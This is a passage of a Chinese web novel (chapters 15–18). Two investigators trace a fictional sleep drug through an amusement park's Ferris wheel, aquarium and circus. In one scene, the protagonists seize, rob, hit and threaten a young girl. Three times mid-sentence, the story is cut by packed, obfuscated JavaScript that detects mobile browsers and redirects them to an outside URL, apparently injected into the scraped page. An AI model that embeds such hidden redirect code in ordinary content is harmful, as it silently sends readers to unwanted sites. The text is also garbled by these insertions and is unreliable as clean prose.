“你都调查这么多次了,不知道水果吗?” “说实话,以前都是调查地下市场居多,这种官方店我也没来过几次,而且以前没有提水果这段啊。”蕾拉说着点了购买:“我要带出去一支,研究一下。” 她掏出事先准备好的纸币,一股脑的塞进了机器里,选择了持续时长为15分钟、间隔7天的“无夜”。 但她点完之后,那个机器很久都没有反应。 “不是吧!坏了?” 蕾拉正准备敲打。 “咯吱。”机器往外面吐出了一张小纸条,上面写着:083 “我去,这啥玩意?!” “咔哒咔哒”。一盒沉睡剂掉在了取货口的位置,一个工作人员几乎是瞬移过来,当着他们的面直接拿走了。 一个南瓜头工作人员笑眯眯对他们鞠了一躬:“尊敬的客人您好,这边已经收到了您的订单,鉴于官方商店的特殊管控机制,我们不允许商品私人带出,请您到摩天轮前等候,我们会有专门的人员为您注射。” 15. 第 15 章 “什么?谁知道你们注射的工具卫不卫生、安不安全,我要自己来,我付了钱了,为什么不能带走?”蕾拉声音提高了一个度,叉着腰头仰着高高的,蛮横地质问道,像极了一个无理取闹的小朋友。 南瓜头工作人员只是弯腰微笑着。虽然她戴着头套完全看不见脸上的表情,但宴希鸣还是能察觉出她脸上一定是“这位客人请你不要无理取闹”的无奈表情。 “很抱歉,但这是门店的规定……” “什么破规定。”蕾拉发现不能把沉睡剂带走反而损失了一笔巨额后痛心疾首:“我本来是想买回家慢慢用的,结果在你们这变成一次性服务了?我要投诉!” 宴希鸣跟在后面造势:“说得对!退钱!” “抱歉哦客人,我们门店售出的商品不支持退货退款服务的……” 宴希鸣正看着蕾拉和店员纠缠,目光瞥向了货架的一角,本来是无意的扫过,但却锁定住了一个瘦弱的身影。 一个扎着麻花辫的小女孩,正在货架屏幕前结算,机子吐出了白色的叫号单,被她紧紧攥在手里,她抿起嘴,小心翼翼地放在口袋里,足以看出购买它的价格在她的标准中定然不菲。 宴希鸣想到了那天在洞穴中她攀爬的像是猴子一样快的身影,以及她口中提到的母亲。 终究还是要走向这样的道路吗? 宴希鸣此刻只想快点制止她,于是对蕾拉说:“你看,我们遇到老熟人了。你忘记了?就是那天在海上……” “哦哦哦。”蕾拉扫了一眼立刻意会:“但是我们也没办法啊,虽然说她还是个孩子,但是这样的人太多了,管是管不过来的。我总不能把她毒打一顿吧,治标不治本,我师傅说的。” “话是这么说,但是我看到她手很痒……” “其实你就是喜欢抢她的东西对吧。”蕾拉露出了一个我懂了的表情,也不再和店员辩论了,拿了叫号单就揣口袋里:“走,会会她去。” 那女孩离开门店后,就低着头顺着湖泊的方向走,宴希鸣抬头,立刻就知道了她的目的地。巨大的转轮伫立在微风中,摩天轮五颜六色的厢房在晴天下缓缓转动,被推向高处。 “摩天轮那里有什么?啊对了,她刚刚说的是,在摩天轮处等候?” 眼看小女孩越走越快,蕾拉也快步逼近她,在背后喝了一声:“喂!” 小女孩被她的大嗓门惊得浑身抖了一下,迅速转过身:“干什么?” 蕾拉说:“你走太快了,刚刚看你钥匙掉了。” 说完她就往前平举起一只手臂,手掌虚攥着,由于距离有些远让人看不清手中是否真的有什么。 小女孩很警惕地站在远处,用手去掏口袋,正在她掏口袋的功夫,蕾拉再次快步逼近,小女孩被她突然迫近的步伐吓的一愣,好像即将被鹰隼抓住的猎物,立刻反应过来往前跑,但她怎么跑的过赦令大楼的人呢? 于是她就被蕾拉从后往前一拽,身子瞬间被钉住,蕾拉像老鹰抓小鸡一样拎起她的后领,另一只手捂住她的嘴,往左手边的一人高的灌木林里拽。 “唔唔……” 小女孩拼命挣扎着,胸膛剧烈起伏,全身尽量往前缩去,但却被无情地被往反方向拉扯,最终,她只能大口大口地喘着气,愤懑地盯着面前的这两个人。 “怪吓人。”宴希鸣双手插在兜里,慢悠悠地往前走,点评道。 小女孩在看到她的那一刻,眼神都瞪直了。所以她没有认出蕾拉,只认出了自己?看来她给别人留下的印象还真是太深刻了。 “如果你叫出声,我会把你揍得开花,听明白没?”蕾拉很有威胁人的潜质,立刻说道。 小女孩点了点头,蕾拉铁钳一样禁锢着她的手松开了她。 “救——!!!” “……” 蕾拉再次捂住了她的嘴,两个人就这么僵持住了。 小女孩眼睛里泛着泪花,眨巴眨巴着,头扭向另一边。 “你这小朋友,很不老实。”宴希鸣优哉游哉地从她的口袋中掏出那张叫号单,虽然不知道拿它有什么用,但是拿就对了。 小女孩死死瞪着她,眼睛都要蹬出血丝来了。 那是一种带着微妙仇恨和不甘的眼神。她是不是恨错了对象?宴希鸣这么想。 宴希鸣一抬手,就是一掌落在她的半边脑袋上,刻意留住了力气,但起手的气势好像要原地把她的脑壳削下来。 她的下手极狠,小女孩只感觉到一个力度袭来,瞬间失去了平衡,然后姗姗来迟的痛觉席卷而来,她的整个身体都似乎要在此刻坠落在地。 “这是在教你,”头晕目眩之际,听宴希鸣悠悠地开了口,语气中有些狠戾,完全不像是平时的她了:“不要以为你很能,厉害到可以对抗眼前所见的一切风险。你要时刻记得你很弱,才不会被人随意玩弄于股掌之中,懂吗?” “好了,人要被打傻了。”蕾拉在一旁“算了算了”的劝解道。 宴希鸣的手中捻着那张小纸条:“这个呢,就给我了,你也不要想着要回去,就当打劫吧!今天你运气不好,被我盯上了,你就老实吃这个亏吧,你看可以吗?” 这已经轮不上她说“不”的余地了,小女孩整个人都被蕾拉架住,只得忍下这口气,憋屈的点点头。 “嗯,孺子可教。”宴希鸣满意地点点头:“不过我还得顺便提醒你一句。不要试图在离开时喊人,也不要试图在转角处喊店员过来,不要做一切挣扎的行为,因为——很没用。假设你不希望我在海上洞穴再次遇见你并且把你暴揍一顿,或者是在海上的集市……那里应该是你的家?找到你所谓的母亲,告诉她你花了一笔钱偷偷买沉睡剂而不是留给她……” 说到这里,蕾拉看到那个小女孩的脸完全僵硬了,像是听到了什么完全震惊的话语,连手指都微微发颤,呼吸骤然一滞。 见到自己的威胁实打实的成效后,宴希鸣终于是收敛了冷笑,示意蕾拉放开她。 “好了,慢走不送。” 小女孩依然像是雕塑,站在原地一动不动,脸上已经没有了刚才的血色,嘴唇微微动了动,发出了一个气音,想要说些什么,然而在看到面前女子脸上再次露出那种冷漠而不耐烦的表情后,她立刻就放弃了这个想法,拔腿就跑了。 “你怎么连人家家在哪里都知道啊。”蕾拉看着小女孩急匆匆离开的背影,发问道。 “我随便说的。随便一说就猜中了。”宴希鸣的眼睛在太阳底下再次折射出幽蓝的一角,身体微微往后仰去,嘴角不自觉的露出一丝又像是怜悯、又像是讽刺的微笑:”毕竟那里有一个渡城最大的贫民窟,不是吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407391|200592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“那现在,我们要怎么处理这两单?” 蕾拉看着他们手上的两个白色小纸条:“难不成我真的要去一人挨一针吗?太可怕了,还是你自己一人挨两针?” “想让我变成怪体就直说,折腾的这么曲折干嘛?” 宴希鸣凝视着摩天轮的方向,嘴角微勾:“你难道不想去那里看看吗,摩天轮里面到底有什么。” 摩天轮处,已经有十几个人在排队了,宴希鸣和蕾拉只是在原处远远地观望着。 “看起来只是一个普通的游乐项目。” “我们站这么远干什么?”宴希鸣抬手遮住自己脸上的太阳:“太远了,我什么都看不清。” “站那么近干什么?你又不玩,那边绝对有猫腻,到时候我们那么显眼,直接被抓走。” “那总不能浪费这两张票吧,走走走,我们看看去。”说着,宴希鸣就拽着蕾拉的胳膊往摩天轮去了。 湖泊泛着铅蓝色的倒影,摩天轮在岸边慢悠悠的转动着,抬头望去也不由自主地跟随着它绵长的呼吸,岸边排队的人群松松散散的站着,每个人的手中都拿着一张白色的小纸条,大多都是二三十岁的年轻人。 摩天轮转一次是三十分钟,等他们到的时候,刚好是一圈已经转完了。 上一批的客人从摩天轮内走出来,有的人脸上洋溢着一种轻松的微笑,有的人脸上是怅然若失的神色,还有的人往前踉跄了几步……这反而令人更好奇了。 队伍最前面的人开始挪动了,趁着舱门落地的瞬间,为首的客人就侧身钻进了厢门。 一个戴着黑色口罩的工作人员走了过去,他不像其他的工作人员有南瓜头套,眉眼低低的垂着,缄默的看了一眼舱门,然后对着里面的客人做了一个动作。 舱门非常狭小,因此宴希鸣也看不见那里到底发生了什么。 只见工作人员伸手拉了拉舱门,确认锁扣咬紧了,便继续朝后面的队伍挥了一个手势,让后面的人上来。 摩天轮继续往上转着,仿佛一直这么继续上去,永不停歇。 接下去是第一个人、第二个人…… 队伍的人慢慢的少了下去,摩天轮依旧转动,不曾停止,那个工作人员则一直站在下方,机械性地送每个人上去。 直到队伍旁有一个人喊道:“173号!” 熟悉的数字…… 宴希鸣小声对蕾拉说道:“轮到你了。” “啊。“蕾拉后知后觉的回过神,那个工作人员像是立刻观察到了她脸上的表情,径直走了过来:“小哥,你是173号?快到你了。”然后他又看了一眼宴希鸣:“小姐,你是?” 宴希鸣说:“我好像已经过了吧,我是164的。” 工作人员说:“确实是过了,不过你两位是一起的?那在一间也可以。” 说完他就朝那边喊道:“这边加一位!164和173,两个一起!!” 宴希鸣还没反应过来,那个工作人员就两手一推,把他们推到了队伍的最前方! 两个人面面相觑。在他们这一停顿的功夫,队伍内就有人催促他们道:“你们两个人快点啊,在交流啥呢!别浪费时间啊。” 宴希鸣下意识的想回头,但是那个工作人员可管不了这么多,粗暴地将他们两个一把推进了摩天轮的座舱内! 16. 第 16 章 事已至此,只能上了。 宴希鸣和蕾拉交换了一个眼神,蕾拉沉重地点点了头,好像要立刻带着她英勇就义一样,两个人被一起塞到“包厢”后,谨慎地朝四周打量了一眼。 可里面就是一个普通的观光房间,没什么特别的。 工作人员拉了一下门把舱门稳住,看了一下里面,对他们说:“你们坐好。” 他们看了彼此一眼,分别坐在了左右两侧。 接着,工作人员从他袋鼠口袋一样的…… 他的衣服上为什么会有这么大一个兜啊?口袋完全和橘色的衣服融为一体,不认真看完全分辨不出来。 宴希鸣眼睁睁的看着他掏出了刚刚在店里见过的打火机大小的盒子,里面银白色的液体晃动的厉害,他又利索的掏出了一支注射器,取下了针帽,看起来是刚刚更换的针头——宴希鸣终于知道刚刚他一直在往垃圾桶里扔的是什么了。 随后他做出了一个将针头插入沉睡剂药瓶上方抽取的动作,准备将注射器中的空气推入,抽取液体。 蕾拉看着门的出口,已经有种想要跳下去的冲动了。可就这么冲出去的话,行为也太可疑了,一定会被工作人员抓走的吧? …… “等等!”在他的注射器垂直向下的那一刻,宴希鸣出声打断了他。 两个人都齐刷刷的朝她看去。 时间快要来不及了,这个车厢停留的时间已经过长。必须要想出一个借口!一个他们不能拒绝的借口。 宴希鸣飞速思考着,眼中一瞬间燃起一簇灼灼逼人的火焰,脱口而出:“我不能注射,因为我在来之前,不小心吃了……西柚。” 蕾拉瞳孔猛然收缩,一种“你在说什么”的眼神惊愕的看着她。很快她就想起来,刚才在沉睡剂使用指南上看到的最后一句话。 请勿食用水果…… 可是,为什么是西柚? 工作人员不耐烦地将针头移开:“你是第一次来?” 宴希鸣说:“不是第一次,我就是来之前喝了一杯饮料,柚子汁……”她在工作人员开口之前急忙说道:“我不是故意的!刚刚才想起来,不然这样……” 她和蕾拉对视一眼:“我们这边有两张票,对应两瓶沉睡剂,你一瓶给我,我拿回家自己用,剩下一瓶就给你,你看……”她说话的声音低了下来,像是在诱惑对方听一个秘密:“你看,这样合适吗?” 贿赂……还能这么用吗? 蕾拉颇为意外,一想也很合理,沉睡剂出了这里转卖到黑市就是另一个数了,店员由于监控不能为所欲为,但如果他有贪欲,在监控以外的地方就很容易被说动。 果然,工作人员的眼神低垂了下来,在思索她话语的可行性,看着手中的那瓶沉睡剂,末了,快速地点了点头,将一瓶沉睡剂飞快地塞到她手中,关闭了舱门。 他们乘坐的这厢就慢慢地往天上移动。 蕾拉长速了一口气,一转头就看到宴希鸣对着自己手中那瓶银白色的液体凝神不语。 “为什么是西柚?”直觉告诉蕾拉,在那么多种水果中挑选西柚一定有必然的原因。 果然,宴希鸣说:“吃了西柚就不能再使用这种药剂了,因为西柚会影响酶系统,让药物浓度增加,影响代谢。” “你……怎么会知道?” “我看过旧版的沉睡剂使用指南,那上面有写。”她对在哪里看过的闭口不提,只是这么平静的阐述道。 座舱缓缓攀升,地面上排队的人群很快都慢慢缩小,变成了彩色的方块。 透过玻璃往下看,半个园区都俯瞰在脚下,湖泊像一块墨蓝色的镜面,它的对岸,树木茂密,幽深地往天际线的方向层层叠叠的渲染。 此刻天边也泛起了一丝晚霞。 晚霞下五颜六色车厢被调和成了更加柔和的柠檬黄、薄荷绿,渐渐上升融入暖调的日落中。 蕾拉无心窗外的风景,她的目光紧紧挨着前方的车厢,想要看清那里发生了什么。 玻璃并不十分清晰,因此只能看到一个模糊的影子。 一个人的头自然垂落,整张脸都贴在自己车厢的玻璃上,沉沉的睡着了。 再往身后看,那边的游客也低着头。只给他们留下了一个披着黑色头发的后脑勺。 他们意识到这个事实——整个摩天轮上,除了他们,没有醒着的人,所有人,都沉睡了。 这里就是沉睡剂使用的场所。 表面上是一个娱乐项目,实际上是给“市场”盈利的机器,大批量的沉睡剂被运输往这里,进行售卖,能够接触到摩天轮的游客都是市场心照不宣的主顾。 “原来如此,这么大个公园,都是为了这里包饺子啊。”蕾拉苦笑着,看着那瓶沉睡剂,此刻它正静静地躺在宴希鸣的手中,当宴希鸣抬头望向窗外的时候,微微抿了抿嘴角,将沉睡剂递给自己:“给你,你们不是需要这个东西吗?” 蕾拉接过去,说了声“谢谢”,把它放在随身的斜挎运动包里,看着宴希鸣浮起不易察觉的忧伤神色,出于好奇问道:“我想知道,你以前用过它吗?” 宴希鸣摇了摇头。 “但我看你似乎对它们很……憎恶?”蕾拉斟酌了一下用词,她也不知道自己的这个表述对不对:“都说沉睡剂能让人看到内心深处最怀念的往事,如果是你,你觉得自己会看到什么?” 这下宴希鸣将目光移回窗内,那点忧伤完全被眼神中的坚决代替:“什么都没有。” “嗯?” “我是一个……没有任何想要回忆过去的念头的人。”宴希鸣飞快地说道:“过往不值得怀念,对我来说,重要的是当下能够改变什么。”她的眼神坚定,仿佛星辰流转,不假思索的就回答道。 “那人呢?就没有曾经有美好回忆,后面再也无法见到的人吗?” 宴希鸣这会停顿了两秒,想了想,说:“没有这样的人。” 没有吗?蕾拉看着她转向窗外的脸陷入沉思。这是一种幸运,还是不幸?这个人看上去就是一个普通公民而已,但她的身上看似有很多的疑团,那是一个不会被陌生人踏入的禁区。宴希鸣,你到底是什么人? 摩天轮转完一圈是三十分钟,他们就在天上看了半小时的风景。 整个摩天轮都陷入了一种彻底的寂静,明明是在喧闹的园区,却仿佛置身于一片荒原,灵魂在这里被摒弃了,无知无觉的陷入了对快乐最原始的追求中。 在车厢快接近地面的时候,一个工作人员在站台处挥了挥手,小点的身影被放大,变成了清晰的样子。车厢的人被他拉开。 “时间到了!” 工作人员快速挥着手,让他们赶紧出来。 宴希鸣跳到站台上,看到一个中年男人正扶着站台的栏杆在呕吐。 “他怎么了?” 男人听到声音,缓缓抬起自己的头,这一抬头,就看到那个男人脸红的可怕,连同眼珠子也带着血丝,他的外套耷拉在一旁,有点柏西在街头那种神经脆弱的样子。 “这位客人恐高了。”工作人员颇有深意的回答道:“您移步,这边有请。” 蕾拉说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407392|200592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哎呦。我也有点想吐。” “是什么感觉呢,身体有发热的症状吗?” 工作人员拿着黄铜钢笔,刷刷的在纸上写下几行字。 蕾拉说:“有点吧。” 宴希鸣假装关心的语气加重了几分:“怎么会这样!哎,你脸有点红……” 工作人员继续在纸上记录了几笔,对他们说道:“两位客人不必惊慌,有这种反应是正常的,您乘坐观光车去海洋馆就可以了。” 这是什么意思,海洋馆能治病? 那个脸很红的男人用外套把自己的半张脸裹住,也往观光车的方向去了。 蕾拉和宴希鸣对视了一眼,也跟着他一起坐上了那辆车。 海洋馆是一栋蓝色、波浪型的建筑,远远望去,颇有艺术气息。 巨浪化作厚实的外墙,有惊涛骇浪的磅礴壮美,像是在地上的游客仰望掀起的海面,一走进去首先是一个展览中心,墙上挂了一些展览馆的历史照片,除此以外,别无他物。蓝色的灯光从顶部亮起,整个建筑都呈现出一种柔和的光晕,和外表波澜起伏的壮阔不同,内部有着大浪的沉静。安全出口的指示灯亮着,一左一右两个指示牌上标识着右边是出口,左边是入口。 “请各位游客跟着我走。”在他们这一波游客进入馆内时,南瓜头工作人员就盈盈走来,走在队伍的最前面,引导他们往左边的入口走去。 “请大家小心脚下。” 一走进去,好像有一个帘子立刻被人拉上了,光线变得极其黑暗,到了伸手不见五指的程度。 “各位游客请不要害怕,我们接着往里走。” 声音甜美的工作人员指引道。 “小心脚下的钢化玻璃地板,此刻它正往您的前方延伸。” 脚下并不是完全漆黑的,如她如说,泛着一些奇异的荧光。一只水母舒展着伞体,周身两栖幽蓝的光环,从他们脚下蹿过,除此以外,像是浮游生物会发出的点点冷光,也像是在漫步一般在游客脚下的区域流转,因此他们每走一步,前方的路都会被照亮一点。 这种看似来自海洋动物身上的微光在如此漆黑静默的环境中起了大作用,他们顺着幽蓝的光走了过去。 “这底下,应该不是真实的。”蕾拉试探性地加重了脚下的地道,踩了两脚。 “的确,这不是真实的海底世界,这是我们馆的沉浸式投影技术,会让游客体验到虚拟环境的真实感。”南瓜头工作人员听到了她的话,微笑地解释道。 “够了!” 这时,走在宴希鸣身后的男人突然大声打断了他们的谈话。 他们三个人同时朝他看去。转身一看,他的脸涨红了,眼球因为瞪大往外凸起,面目狰狞地捂着自己的脸,对他们大声说道:“我说够了!我来这里不是为了听你的解说的!鲸鱼!我说,你们的鲸鱼!鲸鱼在哪里!” 鲸鱼?宴希鸣心想,这是活着的生物吗,或者是其他什么的代称? 南瓜头工作人员没有说话,只是略带着悲悯的看着他——她置于身前的手,轻轻屏住的呼吸和微微前倾的姿态都宣告着这一点。 但她并没有说话。 然而下一秒,从前方传来了一个高频锐利的哨声!就像是一个声音巨大的警报,刺耳地回荡在海洋馆内,仿佛能够原地穿透耳膜,刺入颅腔。 这声音持续了十秒,却久久地在脑海留下了深刻的回响,以至于整个脑子要爆炸开一样!在场的许多人包括宴希鸣,都立刻痛苦地捂住了耳朵,往后退了几步。唯有那个男人,正痴痴地望着那个方向。 17. 第 17 章 宴希鸣一直等到声音结束,才缓了过来,这时她发现那个男人整个脸上的红色都已经消退,整个人都清醒了起来,甚至连步伐没有之前那么沉重了。变得和常人无异。 “刚刚……是什么声音,居然还能清理负面效果?” “是鲸鱼,一种净化源。”蕾拉对她小声说道:“这是许多市场都有的东西。” 一行人被哨音惊吓到,默默无声的继续行走,穿过幽蓝的通道,眼前豁然开朗,却是更令为震惊的景象。 宴希鸣猛然抬头。 熟悉的天花板、熟悉的墙壁……通通都已经不见了。 此刻他们正置身于幽深的海底,而身边是追逐游过的鱼群。 他们脚下踩的是钢化玻璃,可已经全然置身于一个巨大的通透空间中,明明所有人都站在这里,却好像是漂浮在海中一样。 鱼群在他们的面前游动,鳞片折射的星河在整片水域中流转,小丑鱼在珊瑚礁间进进出出,一群梭鱼银色的腹鳍划开水幕,所有本该是墙壁的地方,都被海水毫无痕迹的溶解了。 馆内微弱的照明从隐藏的地方探出来,转化为海水散布的天光色。 宴希鸣试探性地伸手摸了摸身边,一只柠檬鱼从她的掌心穿梭了过去,但是她碰到的是冰凉的透明屏障,她立刻松开手,但掌心依然保存了残留的冷意,证明它真实存在。 玻璃一直都在这里,他们所有人都在一个全透明的水族箱内。 游客们隔着几近虚无的玻璃和里面的海洋生物互相观赏着。 “这是什么鱼啊,这么扁,翅膀这么长……” “哦哦哦,你看,里面藏着一只绿海龟!” 他们都兴奋的用手指指点点。 宴希鸣朝着最深处的地方看去。 里面有一面巨大的深蓝色的墙壁,藏在里面的位置。 远远看上去,像是一个透明建筑,深蓝色像是里面的水体。 “你在看什么?” 蕾拉也朝那个地方看过去,拉着宴希鸣往那个方向靠近,随后她惊讶地发现,那哪里是什么蓝色墙壁,分明就是一个巨大的透明的海洋馆水箱!它太大了,甚至看不到它的边界。 一个巨大的动物,蓦然缓缓擦着透明的箱体滑了过去,那是几乎占据了他们视野里的整片透明墙面,它露出了最柔软的白色肚皮,暴露在游客的目光之下,缓缓地滑过去,然后又在人造的海洋深处消失,像是沦落海底的月亮。 它身后是深邃而空无一物的海水和无尽的深蓝。 鲸鱼就在里面孤独、悲伤地凝望着人类。 但是围观的人都快乐地欢呼了出来,为自己看到这一幕感到很满意,讨论的声音纷纷传来。 “妈妈,妈妈,那边有鲸鱼欸!” “是啊,运气真好,上次来都没有看到呢!” “太震撼了!它好大啊!” 宴希鸣久久凝视着那面幽蓝色的“墙壁”。在刚刚,她好像和里面的生物对视了一秒,仅仅是那么一秒,但它眼中的忧伤却仿佛在那一秒传递给了她。 鲸鱼在想着什么?它看见的又是什么? 这些两脚直立行走的生物,他们为什么而欢呼呢…… 情侣们在玻璃前拉着手,为刚刚共同的见证而感到甜蜜。孩子们跑到玻璃前紧紧贴着,希望能够再看到一次鲸鱼的身影,可也许今天的鲸鱼不会再回来了。 宴希鸣看见了居然真的存在能够消除沉睡剂负面影响的生物,在惊讶之余不由得对这片无尽的深蓝产生了发自心底的敬畏。 他们在海洋馆里闲逛了好一会儿,直到南瓜头人员走在最前方对游客喊道:“尊敬的各位游客,现在已经是下午五点三十分了,如果有预备观看马戏团表演的游客,请凭票提前进入剧场哦。马戏团表演六点开始,请有序入场。” “到时候了,我们走吧。” 蕾拉扯了扯宴希鸣的袖子,两人对视了一眼,偷偷从出口处溜了出去。 海洋馆的出口就有观光车站点,他们等了不到五分钟,观光车就来了,车缓慢的行驶了一会,眼前就出现了一个南瓜外形的剧场建筑。 “游客们,前面就是马戏团了,也就是本次观光车的终点站。”司机停下了车,对车上的人喊道:“要下车的可以下车了!” “南瓜头……”宴希鸣评价道:“真的是个南瓜啊,浑圆饱满,就像一颗南瓜埋在泥土里。” 是的,建筑的“表皮”还是南瓜的橘红色,深深的凹陷从顶端蔓延而下,整体的形状是一半的南瓜镶嵌在泥土色的墙壁上,底部还有一块草皮,看起来就像是从地里长出来的一样。 他们跟着人群往里走,由于特殊联票,他们畅通无阻。 只见剧场里已经坐满了不少人。 所有工作人员都戴着南瓜头头套,见新的客人走进来,头套就齐刷刷地转向他们。看不见眼睛,看不见表情,不知道里面的人的目光到底聚焦在哪里,但他们穿的比外面的工作人员华丽多了,统一穿着墨绿色的丝绒礼服,手上戴着白色的手套,连铜色的纽扣都那么精致。 剧场里的座位也是南瓜的形状,连座椅上南瓜表皮的棱线都编织的惟妙惟肖,坐垫非常厚实,蕾拉一屁股就坐了下去,整个人都陷在了里面。 “哇,这也太软了!躺在这感觉没一会就要睡着了吧,还能看得下去吗?” “这里可不兴睡啊。”宴希鸣小声的说道。 座位是阶梯式的,一共是十排,第一排离舞台都保持了很长的一段距离,因此前方看起来空间很大,每排是二十个座位。 “但是人比我还想象中的要少一点。” “嗯。” 等了半个小时,游客都陆陆续续的来了。 场内灯光等他们都入座的差不多了,突然暗了下来。 “你说,改写师会藏在哪里?”蕾拉突然对她说:“我有一种对于犯罪独特的预感。” 宴希鸣有些心不在焉的回答道:“是吗?” “我想说,我认为他就是在场的某一个工作人员。” 宴希鸣被她这么说,不禁抬起了头,目光也不由地朝在场的南瓜头上移动。 他们看起来都一模一样。会有一个是他吗? 灯光彻底黑了。 过了一秒,一阵强劲的音乐声响起! 只见一头黑熊穿着人样式的墨绿色礼服,脚下踩着小球,走到了舞台的正中心。它的礼服和工作人员如出一辙,铜纽扣在灯光下一闪一闪的,“左手”上还撑着一把南瓜皮模样的小伞,一边保持着自己的平衡,一边用另一只手给观众打招呼,显得灵活极了。 台下爆发出了一阵欢呼。 “这也太像人了吧。”蕾拉在一众欢呼声中对宴希鸣说道:“万恶的动物表演 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407393|200592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不敢想象,要经过多残酷的训练才能变成这样。” “确实,真的很像人……” 就在这时,两个南瓜头工作人员抱上来几个五颜六色的球,看起来是像让黑熊踩在不同的球上行走,增加表演难度。但他们不知道为什么,也许是刻意为之,走路的姿势显得滑稽又奇怪,手忙脚乱之中,手上的球全部被打翻了。 一下子场面就变得乱七八糟起来,左边的工作人员慌忙去捡地上的球,但是又被另外一个人绊了一跤,两个人瞬间撞在一起,翻到在地上,但是他们戴着南瓜头套,好像看不见面前的路在哪里,在地上仰着摸索了好一阵,才踉踉跄跄的站起来。 底下的观众哄堂大笑起来。 黑熊踩着小球走了过来,用自己的手摸了摸他们的头,轻柔的好像在鼓励犯错的学生。两个工作人员同时愣了一下,然后慌张的站起来,将球挨个布置在黑熊的脚下,好让它踩着球在场上饶一圈。 黑熊就撑着小伞优雅的走完了全程。 这时,舞台上变成了火焰般的橘色,有几个南瓜头工作人员拿着火圈按顺序站好,一共是六个火圈,同样穿着礼服的猴子走了过来,整齐地朝观众鞠躬。 接着他们用各种跳跃方式,跳过火圈,他们的灵敏度令人惊讶。 在这时,意外又发生了,只见一个拿着火圈的工作人员不小心将火苗引到了自己的身上,立刻他就开始从下而上的冒烟。 其他几个人拿着火圈显得手足无措。这时猴子们走了过来,将自己的背心拖了下来,拍打着他的衣服,把火扑灭了,然后转过身来对底下的游客做出了一个无奈摊手的动作。 底下的观众哗然大笑。 “故意的吧?工作人员在其中起到了什么作用?一种添乱的作用。” 蕾拉也说:“你也是这么感觉的对吧,动物表现出来的感觉像人,工作人员的感觉像人机。” “想通过这个表演证明什么吗?” 这个动物园里隐藏着很多“隐喻”,很难不认为是想通过这个表演讽刺些什么。 讽刺什么?有些人,不是人,其实是动物?一种基于身份的秩序感在这时被打破了。宴希鸣被自己冒出来的想法震惊了一瞬。 “好了,我们也该干活了。”趁着光线黯淡的时候,蕾拉对宴希鸣说:“走。” “走去哪里?不看表演了吗?” “如果我们一直坐在这里看表演,只能是被动的等待,我想去后台看看,那里也许会有见不得的东西,这个马戏团应该不会就表演些猴子跳圈这么简单的东西吧?” 宴希鸣立刻就领悟到了她的意思。门票稀缺的马戏团、奇怪的表演形式,都证明这展出的目的并不简单,以及,高山区被关在展馆里的“怪体”,这种来自沉睡剂衍化的产物,有很大的概率会被他们拉来做表演,也许这个时候会是营救的好时机。 “你去不去?” 宴希鸣看着蕾拉在黑暗处熊熊燃烧的眼睛,点了点头。 在这时,光线变得更暗,到了伸手不见五指的程度,两人趁这个机会溜了出去。 就在他们离开的一瞬间,手风琴的乐声从台上传来,一种正在进行的神秘仪式在这时开始了,一个女声在低低的吟唱着一段古老的文字,加上了些许混响,与手风琴的奏鸣交织在一起,引起舞台阵阵发颤,在黑暗中制造出了莫名的紧张气氛来。 18. 第 18 章 声音的源头,是一个女人。 灯光不是之前那样橘色的暖调,变成了一束月光般皎洁的冷白,在舞台中央亮起。 女人赤着脚,走到了那束光中。 观众们交头接耳地说道:“这个人是不是没穿衣服啊?” 有好奇的人眯眼朝台上的女人细细打量,然后说:“穿了。呃,不过好像不是衣服。” 她的身上是一片片银白色的鳞片,彼此衔接,拼接成了连体,但也并未覆盖住全身,只是遮住了某些重要部分以及手臂和大腿外侧的一小部分。 银白色的鳞片在冷光中亮闪闪的,女人的妆容也很别致,在眼尾画出了绿色的延长弧线,头发盘在脑后,只在耳鬓留下了几缕发丝,她缓缓抬起手,手上的鳞片就随之沙沙作响,就像是一条优雅的蛇。 “等等,那是真的蛇吧!” “你不觉得这个鳞片有点像……” 有人立刻意会地笑起来:“说什么呢,那些东西是灰色的,不是银白色的啊。” 女人优雅的抬起左臂,一只白色的蛇吐着信子,从她的右边肩膀顺势爬到了左臂内侧,然后缠在她的左手上,与她融为一体,于是他们开始跳舞,舞蹈优雅而轻缓,好像是深沉的雨后泛着朦朦的雾气,观众席上最遥远的目光都被他们吸引。 此刻,在另一边—— 蕾拉和宴希鸣从后面溜了出去。但偷偷推开剧场后面的门,他们站在地面的那瞬间才意识到,这里是一个员工通道。 他们一开始是从南瓜的入口进来,而此时他们在南瓜的侧边,如果往他们此刻的右手边走,应该会回到南瓜入口的那一侧,如果往左手边走,就不知道会通往哪里了,也许是舞台背后? 